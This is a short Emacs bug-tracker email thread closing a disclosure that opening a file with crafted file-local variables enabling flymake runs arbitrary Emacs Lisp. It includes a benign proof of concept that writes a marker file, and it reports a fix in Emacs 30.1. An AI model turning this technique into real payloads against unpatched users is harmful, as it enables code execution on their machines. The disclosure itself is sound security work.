Subject: bug#37656: 27.0.50; Opening file with specially crafted local variables can cause arbitrary code execution Inbox x

From: adam plaice <[email-masked]>
Date: Sat, 15 Mar 2025 18:40:25 +0100

Thanks Stefan for tracking/closing and thanks so much to Stefan
Monnier (I think?) for resolving this!

On Wed, Mar 12, 2025 at 4:39 AM Stefan Kangas <[email-masked]> wrote:
>
> Version: 30.1
>
> adam plaice <[email-masked]> writes:
>
> > * To reproduce:
> >
> > 1. Create a file, say `~/foobar', (it could have an arbitrary
> > extension) with the following contents:
> >
> > -*- mode: emacs-lisp; mode: flymake -*-
> >
> > (eval-when-compile
> >   (with-temp-file "~/emacs_flymake_security_bug"
> >       (insert "Could have also executed any code.")))
> >
> > 2. Open the file with emacs:
> >
> > emacs -Q ~/foobar
> >
> > 3. Inspect ~/emacs_flymake_security_bug:
> >
> > cat ~/emacs_flymake_security_bug
> >
> > * Expected result
> >
> > ~/emacs_flymake_security_bug does not exist.
> >
> > * Actual result
> >
> > ~/emacs_flymake_security_bug does exist.
>
> This is fixed in the recently released Emacs 30.1, so I'm closing this
> bug now.